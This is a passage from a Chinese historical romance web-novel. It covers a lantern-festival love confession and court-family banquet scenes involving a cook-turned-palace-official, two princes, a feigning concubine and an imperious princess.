灯市如星河倾泻,各色花灯争奇斗艳。
孙为的目光落在不远处一个兔子灯上,那灯做得精巧,白绒绒的耳朵,红玻璃珠镶的眼睛。他脚步一顿,指着那灯:“那个,特别像你。”
“啊?”
“你阿姐把你丢给我时,你眼睛红红的,像只受惊的小兔子。”孙为飞快地瞥了她一眼,“我当时还想,怎么会有这般害羞的小男孩。”
“结果没想到……”
“我(是)女孩!”
两人默契一笑,孙为想,少昭果然是和他共脑的妹妹,今天这灯会,想来一定很开心。
而少昭,她的心像是被什么轻轻撞了一下,酸酸软软。那些初入军营的惶然无措,原来孙为都看在眼里。
“猜灯谜,猜灯谜。猜中有彩头!”小贩的吆喝声适时响起,打破了微妙的氛围。
一个摊位上挂着许多花灯,灯下悬着谜面。
“看看?”孙为问。
……
一个又一个精致的小灯到手。
少昭的脑子很机灵,孙为也是,两人总是异口同声地报出答案,默契浑然天成。
孙为咧开嘴笑了,露出白牙,兴致勃勃地又挑了几个谜面,少昭一一猜中,收获颇丰。孙为抱着满怀的花灯,竟然也像个得了宝贝的孩子,颇为难得。
“这样,还可以做花灯串……”
“花灯串,那是什么?”
“就是将花灯串在一块,可漂亮了,挂在房檐下做装饰会很好看。”孙为垂眸,神色柔和,他托着手里的花灯,思绪仿佛飘到了远方。
少昭看他看得脸颊发烫,也抱紧怀里的莲花灯,只觉得那灯火映在心上,比天上的星子还亮。
。
人流边缘,两个戴着兜帽的身影巧妙地借着货摊和人群的掩护,目光紧紧锁着前面那对璧人。
知微压了压帽檐,嘴角都快咧到耳根。祝明煜站在他身侧,手上是知微没吃完的糖人。
“嫌我碍事,我偏要跟着,闻着味我就来了。”知微双手抱胸,傲气道。
她还以为少昭约了谁,原来是孙为那家伙。
“啧,傻大个儿,抱那么一堆灯,也不嫌累赘。”
知微小声嘀咕,眼里的光却比那满街的花灯还亮:“不过……兔子灯?像少昭?孙为这木头,看不出来啊,还挺会!”
“有戏!说不准有戏”知微激动地搓着手,感觉比当事人还兴奋。
可很快,知微脑海又闪过孙为在军队提及过的人,似乎对他很重要,既如此,少昭可不是单相思!
知微的脚下不自觉地跟着二人挪动,想找个更好的角度观察。眼神偶尔也会掠过她喜欢的小玩意儿,祝明煜见状,赶忙掏出钱袋买下。
直到手中再提不下任何,祝明煜才回身,叫知微在原地等自己,他先把手上这批小玩意儿送回马车。
知微点头,她正为少昭的感情想得入神,没注意看路,背后猛地撞上一堵坚实的“墙”。
“唔!”知微一个趔趄,兜帽被撞歪,差点摔倒。
她火冒三丈地回头:“谁啊!走路不长……”
“眼”字卡在喉咙里,望清来人,她硬生生憋了回去。
摇曳的灯光下,祝隶稷一身墨色常服,正垂眸看着她。
“太、太子爷。”知微瞬间哑火,语气谄媚却下意识地把兜帽拉得更低,心里直打鼓:怎么哪儿都有他?
像个身后灵。
“兴致不错。”祝隶稷开口,他刚同王渺枭说完话,回府途中遇上了知微。
说起来,自从知微清醒,二人竟是再无单独碰面,每次见着了,知微也都像耗子遇猫,魂都跑了。
哪有当时颐指气使的样。
“呵,”祝隶稷嘴角勾起一丝极淡的弧度,像嘲弄又似别的,觑过少昭与孙为的背影,“你倒是有闲心,替人把风?”
本还想再挤兑几句,祝隶稷又忽然想起前段时日祝明煜曾闯入他的书房,向自己哭诉劝解眼前人入宫为官的失败事。
说起来,祝明煜那人从小便跟他没有距离,纵使幼时不在一处长大,也总是喜欢热情地跟在他身后。
帮帮好了。
祝隶稷使眼色屏退下人,只叫知微贴身跟随。
两人沉默地并肩走着,仍是跟在少昭的后面,却与周围的喧闹格格不入。
等了好半晌,祝隶稷
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终于开口:“明煜,他很希望你留在宫中。”
“你难道不知道他的心意?”
知微脚步一顿,心尖像是被什么东西轻轻拨动了一下,随即又被压下。她没吭声。
“他跟我曾提过,你最大的心愿,是能够自立自足,开上一家自己的酒楼,过上市井的平凡生活。”
祝隶稷的语气依旧平淡,像是在陈述一件与己无关的事。
知微猛地抬头看他,灯火在他脸上投下明暗不定的光影,看不清神情。
这话说的没错,可从他嘴里说出来,怎么听怎么刺耳。
祝隶稷脚步未停,目光掠过路边一个被父母抱在怀里、正哭闹着要花灯的小孩,又扫过更远处几个衣衫褴褛、眼巴巴望着糖人摊子的乞儿。
“市井的平凡生活”他重复着这七个字,声音冷得像淬了冰,“你以为,你能做一辈子市井小民?”
知微心头一凛。
“岭南的盐贩刘掌柜,少了你一时兴起,替他解围,他早已是冤魂一缕;晏家满门,若非你逃婚引来王家的报复,兴许尚能苟活几日,但终究是依附强权的藤蔓,枯萎只在顷刻;蜀郡军营里,你识破砒霜,才免得上千将士腹泻脱力。”
“张兴中、还有那些你叫不出名字的伙夫、兵卒……他们的命,你救过,也亲眼见证过,他们的死,如蝼蚁般轻易。”
祝隶稷的声音不高,却字字如刀。
他停下脚步,转过身,嘴角含着几分讥讽:“你总想躲,想逃,想守着那间你幻想中的小馆子过清净日子。可这乱世,何处是净土?”
“屠户家的女儿,只因生得貌美,便能被权贵随意掳去为妾;街边的小贩,只因挡了贵人车驾,便被马蹄踏断脊梁;就像少昭——”,祝隶稷目光锐利地刺向知微,“若非你一时心软收留,她此刻身在何处?是教坊司?还是乱葬岗?”
不远处,少昭清脆的笑声隐约传来,孙为正笨拙地护着她,避开一个横冲直撞的醉汉。
“你护得住她一时,护得住她一世吗?”
祝隶稷的声音压得更低,带着一种冰冷的、令人窒息的力量。
“你一日是市井小民,便一日是他人砧板上的鱼肉!”
“你的手艺、你的小聪明,在真正的权力面前,不过是笑话。若你只是岭南那个开食肆的娘子,你猜,有多少看不清的箭矢,会悄然穿透你的喉咙?”
夜风带着寒意吹过,知微只觉得浑身冰冷。祝隶稷的话像冰冷的钢针,深深扎破了她。
“明煜天真,信你那套逍遥自在,说他护你,可这世间的尔虞我诈,又怎是他人一个‘护’能解决的?只有站在足够高的地方,才有资格谈自在。”
祝隶稷看着知微骤然失血的脸,眼底掠过一丝极淡的情绪,像是怜悯,又像是某种冷酷的确认。
“你够聪明,也够狠,可惜眼界太窄。只盯着灶台那方寸之地,终究是浪费。”
他微微倾身,靠近知微耳边,温热的气息拂过她冰冷的耳廓,说出的话语却如寒冰:“想想少昭,想想你自己。是做一辈子被人随手可碾死的蝼蚁,还是……抓住机会,爬上去?”
“爬到足够高的地方,让你的手艺不再只是果腹,哪怕是厨娘,只要接近权利,便也能让你在意的人,在你的羽翼下,安稳地笑。”
长久的沉默在喧嚣的灯市中弥漫开来。
知微能听到自己擂鼓般的心跳。
那些她拼命想逃离的、关于权力倾轧的记忆碎片,带着铁锈般的血腥味,此刻清晰地翻涌上来。
祝隶稷说得对,平凡意味着无力,意味着无论谁,都能上前,踩上你一脚。
那点残存的挣扎和侥幸,如同燃尽的灯芯,倏然熄灭。取而代之的,是一种被现实硬生生打磨出的、带着棱角的冷硬。
“好。”知微开口,声音有些沙哑,却异常清晰,“这女官,我当。”
没有豪言壮语,没有感激涕零,只有被逼到绝境后,孤注一掷的认命与狠绝。她甚至扯了扯嘴角,露出一个算不上笑容的表情。
灯市依旧喧嚣热闹,仿佛什么都没改变。
只有知微自己知道,那条她曾幻想过的、通往平凡的市井之路,已彻底断裂、坍塌。
而眼前这条通往宫门的登天梯,由不得她随意回头。
24. 告白(下)
周遭鼎沸的人声、斑斓的灯火,倏忽间褪成模糊的背景。
知微僵在原地,目送祝隶稷远走。
“知微!”
熟悉的声音穿透人群,带着显而易见的急切。
祝明煜拨开人群,大步冲到近前,额角还挂着细密的汗珠。
“人太多,耽误了时间。”他解释道。
“怎么了,脸色这么白。”祝明煜浓眉紧拧,伸手探她额头,“少昭那丫头呢,跟踪丢了?”
祝明煜还是没变,关切起来絮絮叨叨。
知微猛地吸了口气,夜风灌入肺腑,激得她从怅然中清醒。
“祝明煜。”知微开口,声音意外地平直,隐约带有些沉重,“我要留在京城,入宫做御膳女官。”
祝明煜脸上的神情瞬间明朗,像被点燃的火炬:“真的?太好了!”
他几乎是雀跃地低呼一声,下意识想去抓知微的手,又猛地顿住,麦色的脸上浮起一层薄红。
他搓了搓指尖:“我爹……陛下登基,宫里正缺得力的人手,你的手艺,定能脱颖而出。”
祝明煜语速飞快,那蓬勃的喜悦与热情几乎要满溢出来。
可这热情,烫得知微心头发慌。
她看着他眉飞色舞的样子,打断祝明煜,疲惫道:“我有些累了。”
祝明煜的面上的欢欣骤然僵住,他怔怔地看着知微,灯影罩住的那双丹凤眼里,此刻蒙着一层黯淡的灰。
那不是累,是种更深的东西,祝明煜说不出来。
“你……”他喉结一升一降,声音也跟着沉了下来,“你若是不愿,也不必勉强。”
“你若是不喜欢,想去哪都行,在京城,在岭南,在天涯海角。开你的食肆,你想开多大开多大,也不要害怕地方势力,我说过护着你,便一定护得住!天塌下来,有我顶着!”
祝明煜语气斩钉截铁,知微盯着他,颇有种“老子拳头大,老子说了算”的憨直劲儿,这话说得大,却又发自真心,仿佛只要她点个头,祝明煜便真能立刻为她顶起一片天。
知微看着他这副模样,心头那点沉郁的冰,到底被他这团火烤化了一丝缝隙。
她扯了扯嘴角,牵出一个极淡的弧度,带着点戏谑,又藏着更深的试探:“说这话干嘛,就为着岭南那点子‘革命战友情’,值得你这么豁出去?为我顶天,连命都不要了?”
“可先说好,我是不会为你顶天的。”知微笑。
“那又如何?”祝明煜打断知微的话,向前迈了半步,表情坚定庄重。
知微敛了笑。
祝明煜又向前迈步,手攀上知微的小臂。
两人距离瞬间拉近,近得能看清彼此眼中跳跃的灯火。
“知微。”祝明煜轻唤她的名字,声音轻柔,像浸了温热的酒,“你觉得……我为何愿意为你顶天?”
“或者换句话。”
“这辈子,你可以为理想、为自由拼命,而我亦然,我要为谁舍生,又愿为谁赴死,你竟,浑然无知觉吗?”
话语铿然。
祝明煜深邃的眼牢牢锁住知微,眼底翻涌着清晰可见的热意。
知微想向后撤,可那目光太烫,太直接,像一道灼热的探照灯,想窥视进她心底最深、最柔、最隐私之处,想直直照进她心底那片荒芜,让她无处遁形。
到底什么是爱。
是需要,还是被需要。
知微不知道,无论是前世,还是今生,她从没被坚定选择过。
毕竟她丑陋、泼辣、野蛮,有时还做事不过脑,仗着点小聪明便引以为傲,为多少人带去过麻烦。
可,即算是这样的她,是从前世起便遭人嫌恶的她,祝明煜也愿意义无反顾地选择、追随着吗?
是她吗。居然是她吗。
她原是这样的存在?
知微默然。
轰——!
一声巨响撕裂了夜空。
无数道璀璨的烟花破空而起,流光直窜天幕,在墨黑的天际轰然绽放。
漫天星雨,倾泻而下。
无数燃烧的花火被天公抖落,泼洒向人间,织成一张光华璀璨的巨幕。
赤金、流银、碧蓝、绛紫……绚烂的光映亮了半边天宇,也映亮了桥下流水、桥上行人惊羡的脸庞。
知微抬眸,视线聚焦。
在这震耳欲聋的辉煌与喧嚣的中心,祝明煜仿佛置身于另一个无声的结界里。
他和人群隔开,光雨在他脸上流转、明灭,勾勒出他微酡的面颊。
知微深吸一口气,馥郁的火药味混着若有似无的柴火香,一起涌入肺腑。
烟火照亮的短暂白昼里,震耳欲聋的轰鸣间隙,祝明煜的声音清晰地穿透喧嚣,落在她耳畔。
“我从未觉得你渺小、粗蛮。岭南的晏掌柜迷人,将来宫里的晏尚食,也必定光芒万丈。”
有人折服于你的皮囊,有人赞叹于你的厨技,有人执着于你的潜能。
可但在我这里,你只是知微,也只用做知微。
“我喜欢的,就是这样的你。想护着一辈子的,也是这样的你。”
漫天烟火明明灭灭,唯独最后这句话,轻得像叹息,却又重得能直砸在她的心上。
——
喧嚣被厚重的府门隔绝在外,灯会仿佛已是上辈子的事。
知微踏进程玊芝精心安排的厢房,脚步有些虚浮。
指尖仿佛还残留着烟火灼烧空气的余温,更残留着祝明煜那滚烫目光烙下的触感。
“阿姐!”少昭像只雀跃的兔子,从窗边的软榻上弹起来,脸上红晕未消,眼睛亮得惊人,“你回来啦!灯市可太热闹了!孙大哥他……”
少昭语无伦次,脸颊飞红,显然还沉浸在方才的约会里,整个人都浸在一种甜腻腻、晕陶陶的气息里。
知微看着少昭这副情窦初开的模样,有一刻竟在她的脸上看到了自己。
耳朵猛然着火,唇间仿佛还有温热。
知微眨眼,滑倒在榻边。
“阿姐,阿姐,你说我要不要向孙大哥表白啊!其实我今天晚上原想请他喝个茶,可他只送我到正门口,连门槛都不肯多迈一步……”少昭还在耳畔叽喳,知微却早已听不见,意识不知云游到了哪个远方。
“呜哇——!”
直到一声惊天动地的哭嚎,厢房的门被猛地
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撞开。
一个小炮弹似的身影裹挟着委屈和恐惧冲了进来,一头扎进知微的怀抱,她才缓缓回神。
是祝晟。
小家伙哭得上气不接下气,小脸憋得通红,手里死死攥着把特制的小木剑,眼泪鼻涕糊了一脸。
“不练了!晟儿不要练剑了!手好痛!呜呜呜,知微姐姐,你快救救晟儿吧……”
程玊芝跟在他身后进来,一脸无奈:“知微姑娘,给您添麻烦了。”
她身后的蒋嬷嬷上前,试图扒开祝晟缠着知微的手:“小祖宗,莫哭了,明日皇后娘娘亲临,还指望着您献上一段剑舞,让你的阿奶高兴呢。”
“您不是说,许久未见了,最想看到阿奶对您笑笑吗?”
“还有太子殿下,也会为你的剑舞骄傲的喔。”嬷嬷的声音轻柔,祝晟却不吃这番哄。
“爹爹……”祝晟抽噎着,抬起泪眼朦胧的脸,小嘴委屈地扁着,“爹爹怎会为我骄傲,刚刚在庭院中,他就只远远看了一眼,说我‘动作软绵无力’。”
“呜……可晟儿从早练习到晚,连手都抬不起来了。”
“母亲,爹爹是不是、是不是讨厌晟儿了?”那小心翼翼又无比渴望得到肯定的眼神,看得人心头发酸。
知微和少昭都沉默了。
程玊芝温婉娴静的面容也第一次露出破绽,她强牵出一个体面的笑:“怎么会呢,爹爹、爹爹他可是很喜欢晟儿的。”
程玊芝使力,将祝晟从知微的身上拽了下来:“知微姑娘,实在抱歉。”
几人带着哭喊委屈的祝晟离开。
知微与少昭相视无言。
谁能想象到,连带着小小的孩童,都暗藏着这样一份沉重的期盼,背负着一份不属于他这个年纪的讨好与惶恐。
——
祝府别院的花厅,灯火通明,熏香馥郁。
宴席已开,精致得如同艺术品的菜肴流水般呈上。皇后沈丹曦端坐在上首。
岁月似乎格外优待这位曾叱咤疆场的女将军。
绛紫色宫装,发髻高挽,只簪一支通体莹润的羊脂白玉凤簪。眉宇间依稀可见当年横枪立马的英气。
岁月经年,如今沉淀下来,作为皇后,她多了分不怒自威的雍容与沉静。
沈丹曦目光温和地扫过席间众人,在祝明煜和侍立在他身边的知微身上略作停留,嘴角蓄着股不知名的笑。
祝隶稷坐在她下首,神色是一贯的淡漠,偶尔与身为皇后的母亲低语两句,姿态恭敬却疏离。
程玊芝坐在他身侧,仪态无可挑剔,眼神却时不时飘向埋头小口吃着点心的祝晟,带着隐忧。
席间衣香鬓影,环佩叮当,空气里浮动着名贵香料和珍馐美食混合的气息。
知微穿着新送来的春装,料子细软,却像一层无形的枷锁,勒得她浑身不自在。
知微垂手,努力将呼吸放轻。
有温暖的力量握住知微。
知微向下看,祝明煜牵住她指尖,目光中带着不加掩饰的关切。
不就是皇后吗,不就是,未来、可能的婆婆吗?
不必担忧。
祝明煜的眼神鼓舞道。
25. 折腰以侍权贵(上)
廊檐下,夜风带着凉意拂面而来,吹散了花厅内熏人的暖香。
知微靠在冰冷的朱漆柱子上,长舒了一口气,紧绷的神经稍稍松弛。
“我的母亲是个很好的人,放松,不会有问题的。”祝明煜刚牵过自己手的余温尚在,知微张合手掌,脸颊还有些泛红。
被祝明煜突然牵起,是知微没有预计到的事情。
她还记得当场宴席上众人的神色。
由于是家宴,没什么外人在,大家面上的神情反而各有其异。
最先注意到知微与祝明煜动作的是程玊芝,她只是一副了然于胸的样子,见知微发觉自己的视线还微微笑着,和她对上眼神。
祝晟则更多的是兴奋,像是发现了秘密,若不是被程玊芝捂了嘴,怕是要直接大呼震撼起来。
而祝隶稷扫过二人一眼,不说话,却也没有露出嫌弃的神色。
知微在心头松了一口气。
许是觉得害羞,又或许觉得场合不对,她用了些劲,企图抽出自己被紧握的手。
“皇后娘娘还在这儿呢……”祝明煜力道不减,知微只好小声劝导。祝明煜平素是最听她话的,只是不知怎的,这回却迟迟不愿收手。
知微的视线扫过皇后,发现她仍是端坐在主位,细细捧着一杯茶品味。
整个人的姿态好似与世隔绝,如若不是她的双眼直勾勾盯在祝明煜同知微交缠的手的话。
“新帝登基,阿爹忙着和群臣商讨国策,本来他也想来见见你。”
祝明煜在她耳畔耳语:“你知道的,我朝对于姻亲放得很开,只要是良家妇,莫说皇亲,连皇帝都嫁得。”
此话不假,大昭民风开放,女子亦可休夫,婚嫁更是相对自由,连当今皇后沈丹曦,也不过是祝明煜父亲的乳母之女。
“因此,我想让阿爹先见见你。”祝明煜道。
“见我?”知微有些不解,“我是前日才答应同你在一起的吧,怎么就……”
“难不成。”知微终于反应过来,这场宴席原是个鸿门宴,而她,这是被观测的那一个“主角”。
可,祝晟为了这场宴会的舞剑筹备了很久,怎么看也不像是突然起意。
如此想来,只能是祝明煜早早便算计好了,不论知微答应他的求爱与否,他都要将知微介绍给父母。
知微有些生气,两个人认识虽有些日子,可做搭档、做朋友和做情人的状态是不一样的。
她不过是鬼迷心窍地同意先向前一步,尝试新关系,祝明煜怎么能将这事便这般直戳戳的摆在在父母跟前呢。
万一两人之后又分开……
知微心头一躁,无名火冒了上来:“你有些不尊重……”
“知微,除你之外,我从未想过同任何人天长地久。”
俩人几乎是同时开口。
闻言,知微怔住好许,祝明煜的表白太过直白,和那场突如其来的烟花一样,爆炸般惊轰知微的心。
她原本想说的狠话,被堵在喉间。
“可,还是太快了……”
“我只是想他们知道,我所心仪之人唯有一个你。”
两人僵持不下,动静也逐渐大了起来。
连坐在更下首的李明镜都被惊动到。
他原本还饶有兴趣地品味陈年好酒,脸色酡红,酒鬼鼻子撑开得老大,注意到祝明煜同知微的异常,竟是手中的杯盏都差点握不稳。
“这、这……”李明镜险些被酒噎着,不停咳嗽。祝明煜生在边疆,是他从小看着长大的少主,关系本就格外亲厚,情同义兄。
如今祝明煜在大庭广众之下,大咧咧牵起一个民女的手,这民女孩还恰好是他军营的前任伙夫,没有什么比这更让他一个黄金单身汉而惊讶。
“他、他们!”李明镜说话磕巴,手指指向二人。
坐在他旁边的江覃按下他的手,礼貌为他又斟一杯酒:“将军,慢些喝。”
“我府中还有一些今年新酿造的桂花酒,虽烈度不大,却是芳香四溢,是难得的佳品。将军若是感兴趣,可以多来我府中一同品鉴……”
“定要前去!”李明镜是个单纯的粗脑袋,听江覃说美酒,注意又立刻转移,将刚才所见抛诸脑后。
站在知微的视角,江覃与李明镜的互动被看得一清二楚,江覃甚至向她比了个噤声的手势,惹得她更加心乱。
知微羞得不行,还有闲的另只手紧紧攥住裙摆:“我出去上恭。”
她只能扯出这个理由。
——
知微回想起刚才的一切,脑海一片空白。
她想理理混乱的思绪,一阵刻意压低的抱怨声,伴着窸窣的动静,从距离廊柱不远处的石阶传来。
“说了不去,似玉还总是念叨我。装病都躲不过,我的命好苦啊……”
知微好奇地探身望去。
石阶上,歪坐着一个锦衣华服的年轻女子。一身樱草色宫装,云鬓微松,簪着几支珍珠步摇。
那女子生得极是明媚娇艳,柳眉杏眼,琼鼻樱唇。
就连因生气而皱成一团的小脸,也极其具有生命力。
万珍儿正拿着一块精致的芙蓉糕,掰碎了往脚边一只巴掌大的墨玉乌龟嘴里塞。
那乌龟伸着脖子,慢吞吞地啃着糕点碎屑。
“小阿寿乖,多吃点,吃饱了才有力气陪姐姐一起装病呀……”万珍儿声音又娇又软,果真是听不出生病的样子。
更让知微目瞪口呆的是,她另一只手伸入宽大的袖笼里摸索着,掏出一个用明黄绸缎包裹的小包。
解开绸缎,里面赫然躺着一支须发俱全、品相绝佳的老参。
怕是有百年了吧……
万珍儿毫不犹豫地掰下一小截参须,放在乌龟阿寿的背壳上,哄小孩似的:“来,阿寿,这个好,百年老参呢。吃了我们阿寿就能长命千岁啦,比那劳什子太子活得还久!”
出言不羁啊。知微后背冒出冷汗。
“侧妃娘娘!”有声音打断知微的思绪。
一个面容严肃的圆脸侍女出现在万珍儿身后。
似是忍耐许久,终于忍无可忍地低喝出声,额角青筋都在跳。
似玉一步上前,毫不客气地劈手,夺过那根价值不菲的老参:“您再这么糟蹋东西,奴婢明日就去回了万将军,让他不必再辛苦寻补品给您,断了您的‘病号’参汤,看您还拿什么喂这畜牲!”
“阿寿才不是畜牲……”万珍儿瞪眼反驳。
似玉一指头戳在万珍儿光洁的脑门上,力道不轻:“还有本事儿在这胡玩。”
“我的侧妃娘娘,装病就装得像点。”似玉扶额,满面无语,“刚才溜出来时那几步跑得比兔子还快!虽是坐在最后边,不扎眼,可真当娘娘和殿下眼瞎呢?”
侧妃娘娘?
知微竖起耳,当今圣上和皇后情笃,后宫只皇后一人,今儿又是家宴,并未邀请王公贵臣。
祝明煜没有家室,想来这侧妃只能是祝隶稷过门的平妻。
在大昭,正妃和侧妃都是妻子,余下的则是妾。
知微在府中便有所耳闻,祝隶稷不耽于美色,但又不是钟情一人。
除却早年娶为妻的程玊芝,祝隶稷两年前还娶过一位妃子,这也是他唯一的侧妃万氏。
相较于小官之家出身的程玊芝,万氏的背景可谓是
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大有来头。
万家是军功世家,到了这一代,万家嫡长子万祁更是出众,不单长得俊逸,更有高超的武艺,未及而立便封将军,可以说是京城世家顶顶耀眼的存在。
可惜这位最耀眼的存在早年丧妻,至今鳏寡。
他最疼爱的,便是万家的庶女、当今的太子侧妃万氏。
至于旁的,知微便不知了。
她也是第一回瞧见万氏。
万氏平日身子抱恙,程玊芝体贴,免了她早晨的请安,万氏除却自己的庭院,竟是也从未外出过。
竟是此等美人,知微在心底暗叹。
似玉还在说话:“赶紧起来!宴席还没散,您窝在这儿算怎么回事?再让皇后娘娘瞧见您这副尊容,奴婢就……奴婢就把您连同这畜牲一起炖了汤。”
没见过这般的主仆关系,知微一时为似玉胆颤。
万珍儿起身,一张小嘴高高撅起。
她捂着额头,杏眼里瞬间盈满水光,更显楚楚可怜。
“似玉,你好凶,你变了!你以前在将军府不是这样的,我要告诉阿兄,你又欺负我。”
“告诉将军也没有!”似玉不改咬牙切齿,又瞥了一眼那慢悠悠啃着糕屑的乌龟,一脸糟心。
“还不快起来!难道真要奴婢‘请’您回去?”她特意加重了“请”字,眼神凶悍。
万珍儿哼气,在似玉的逼视下磨磨蹭蹭地站起来,活像个被恶霸欺负的小媳妇。
“噗……”知微一个没忍住,极轻的笑声从唇边逸出。
主仆二人瞬间回头。
万珍儿泪眼婆娑地看向知微,带着被人撞破窘境的尴尬。
似玉则警惕地上下扫视着知微,眼神锐利。
知微立刻敛了笑意,垂下眼,福身行礼:“惊扰侧妃娘娘了。”
万珍儿看清知微的脸,杏眼眨了眨,似乎觉得眼生,又见她态度恭谨,想来“同是天涯偷懒人”。
万珍儿正想开口套个近乎,似玉却一把拉住她的胳膊,半拖半拽地将人往回带,低声催促:“祖宗,快走吧!真来不及了!”
知微目视二人远去,有这插曲的存在,原本压抑而沉重的心也轻松了几分。
——
知微回到花厅时,席间的气氛正凝滞到冰点。
丝竹声不知何时停了。所有人的目光都聚焦在宴席中央那片小小的空地上。
祝晟握着那柄对他而言显然过于沉重的小木剑,小脸煞白,鼻尖冒汗,动作明显迟滞僵硬。
他正试图做一个旋身突刺的动作,脚下却一个不稳。
“啪嗒”一声,木剑脱手飞出,砸在光洁的地面上,发出一声清脆又刺耳的闷响。
小小的身体僵在原地,不知所措。
祝隶稷端坐着,手中的白玉酒盏停在唇边,眼神落在摔落的木剑上。
祝隶稷的目光深而冷,没有怒火,却比怒火更令人窒息,是毫不掩饰的失望与漠然。
空气仿佛被这目光冻住,程玊芝放在膝上的手瞬间攥紧了帕子,指节发白。
她几乎要起身,却被皇后一个安抚的眼神止住。
沈丹曦放下银箸,雍容的脸上露出一抹温和的笑意,欲开口圆场,将这令人难堪的一幕轻轻揭过。
“哈哈哈哈哈哈!”
突然,一声极其突兀的、带着浓浓嘲讽的大笑,从门外传来。
所有人的目光都猛地射向声音的来源——
一个红色的,如同燃烧火焰的身影,踏着满地的寂静,不疾不徐地走了进来。
来人身着极正、极烈的朱砂色红裙,悠悠道:“看来这大昭的江山,怕是后继无人了。”
26. 折腰以侍权贵(下)
祝华缓缓走进花厅。
“二弟,趁着你还年轻,筋骨未老,多努努力,再生几个吧?”
“或者是把你家晟儿丢到狼群中去历练,兴许还能磨出点骨头渣子换来骨性。否则啊,若是还保持这份天真和无能,有朝一日,便也是亡国之君的料。”
最后六个字,轻飘飘的,却像重锤砸在每个人心上。
祝晟还是个孩子,“哇”地一声哭出来,被程玊芝死死捂在怀里,浑身颤抖。
见祝晟哭闹不止,祝华又意兴阑珊地撇了撇嘴:“只开个玩笑罢了,小晟儿,你怎这般经不起逗啊。”
这哪是逗弄,分明是……
知微仰头,下意识追寻祝隶稷的反应。
祝隶稷放下手中的玉杯,杯底轻叩桌案的声响在寂静中异常清晰。
他抬起眼,眼底只有一片能将人溺毙的漠然。
祝华继续笑着,走到众人面前,尽管面上覆了一层极厚的粉,也难掩精致五官带来的冲击。
红唇华服,一身红色的裙摆拖得极长,层叠如焰的裙身,金线捻入孔雀羽丝,在上边绣满各式神兽图腾。
祝华走到大殿正中,随意俯下身,向沈丹曦微微行礼,道:“儿臣来晚了,望母亲原谅。”
儿臣?整个大昭能这么说话的只一人,知微心中大惊,眼前人原是和庆长公主,祝隶稷同祝明煜的胞姐?
如此年轻。
知微想起曾听过的风言,和庆长公主同祝隶稷一般,都是朝廷为了钳制当今圣上的一步棋。
圣上还是济平侯时,先帝派遣他至边疆守关,又恐他的权力过大、野心见长,遂以“体谅路远”为由,强留其尚在襁褓的幼女于宫中,交由彼时的太后亲自抚养。
再往后,先帝嫌一个女子不够份量,再强唤祝隶稷入京为质。
倘若说,祝隶稷是无奈而自幼奔走,那这位长公主,怕是从一出生起,同至亲相见的时日便屈指可数。
许是出于亏欠,新帝初登基,最先册封的不是皇后,也不是太子,而是这位和庆长公主。
对于和庆长公主,帝后二人也是极尽宠爱,修缮了比历代都要奢华的公主府,无论何等奇珍异宝,都最先如流水般往里边儿送去。
毫无疑问,祝华是被捧在手心到极致的女儿。
“哎哟喂,怎把这座大佛请来了。”李明镜几乎是瞧见祝华的瞬间便酒醒了,他扯过江覃的袖口,面色像吃了苍蝇,“我赌,你们家太子待会就要被下马威。”
话音刚落,祝华便转过身,她含着笑,有意无意觑过李明镜方向,李明镜立马垂下头,缝上嘴。
祝华又朝着祝隶稷的方向,绵绵道:“母后,其实儿臣本不想迟到,只是有人飞上枝头忘了本,连阿姐的存在都忘了。若不是婢女向儿臣透露消息,儿臣,怕也是要错过这样一场温馨的家宴了。”
来言不善,祝隶稷放下手中杯盏。
“阿姐,可是今日尚未来得及服药。”
祝隶稷轻声道:“此处是家宴,阿姐若是想找人道些玩笑,去寻你宫中那批视若珍宝的戏子便是。”
此话一出,宴席炸开了锅。
说得好听些是戏子,难听些,长庆长公主好男色,此为全京城皆知的事情,她宫中养的哪是戏子,分明是一个赛一个俊俏的青年面首。
这种事,私下众人议论便也就算了,如今竟然由亲弟在众人面前直言指出,倒也是丝毫不给祝华留情面。
好些位特邀的近臣不约而同地抹起汗来,其中有些太子的亲信明显是兴奋了,为主子的反驳喝彩,小声嘀咕不停。
“这便是那位克死了夫婿的长公主,好生没有礼貌。怪不得前朝太子兵败之际,还要专门放把火烧了她的寝宫。”
“说来,她的前任夫婿是暴毙不治而亡的,距离她入府前后,左右不过二月时间。”
“管她是何长公主,太子殿下身份尊贵,可是能当众叫人下不来台的?”
“还有太孙,虽然窝囊,但,毕竟是太子殿下唯一的孩子啊,怎能容一介女流之辈随意评语……”
堂下的都是亲臣、忠臣、重臣,他们有信心不会被惩处,便也大胆直言。
知微在心底为他们捏一把冷汗,偷偷打量着明台上沈丹曦的神情,原本温和自如的微笑不见了,取而代之的是横起的眉。
知微知道,沈丹曦势必要开口,制止众臣了。
谁料,意外发生了。
祝华拎起自己的朱砂拖地长裙,朝着最近的那位亲臣走了过去。
她从桌几上提起玉壶,毫不犹豫地、将里边的酒水尽数撒在近臣头上。
酒是好酒,王里省被浇了个透。
他只觉头皮一惊,酒水冰凉,肆无忌惮沿着脸颊往下淌,一路浸下去,粘在脸颊、额头,滴答着透亮的液珠,在脸上画出一道道蜿蜒的线痕。
浓稠的酒香仍萦绕在唇舌,可凉意仿佛针刺般,透过头骨,连带魂魄也跟着颤起来。
鲜艳的裙裾拂过冰冷的地砖,祝华微微倾身,朱砂裙摆下探出一只缀满珍珠的绣鞋尖,她向前一踩,恰好停在王里省面前的一小滩酒渍上。
“鞋,脏了。”祝华陈述。
“这位大人,本宫的鞋脏了。”
祝华仿佛一位受害者,又像个失去心爱之物的孩童般蹙眉,面色天真:“方才是您酒盏不稳,惊扰了本宫。既是您惊扰在先,便劳烦您,替本宫舔干净这鞋上的污浊吧?”
这是什么颠倒黑白的胡话!在座众人皆是目瞪口呆。
“华儿!”一直没发声的沈丹曦终于坐不住了,雍容的脸上罕见地带了厉色,“此乃家宴,岂容你如此放肆?还不向王卿赔罪!”
“赔罪?”祝华挑眉,仿佛听到了天大的笑话。
她仍然是一副委屈的神情,顶着佛菩萨般的面颊,朱唇微微翘起,恰如寺里观音莲座间新绽的花瓣。
“我为何要赔罪,这可是我特别喜欢的鞋子。”祝华的眼珠迅速沉了下去,“都说了,不过是个玩笑罢了。”
祝华回过身,冲着母亲道,重复,道:“母后莫恼,儿臣确实只是开个玩笑。”
“怎能让功臣卑躬
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屈膝呢,即便是有错,多得是人可以替他赔罪。”
“你说对吧,小书童。”
祝华懒洋洋地直起身,眸子一转,发现了一个有趣的猎物,那是同样抖若糠筛的年轻小厮——王里省的贴身侍从。
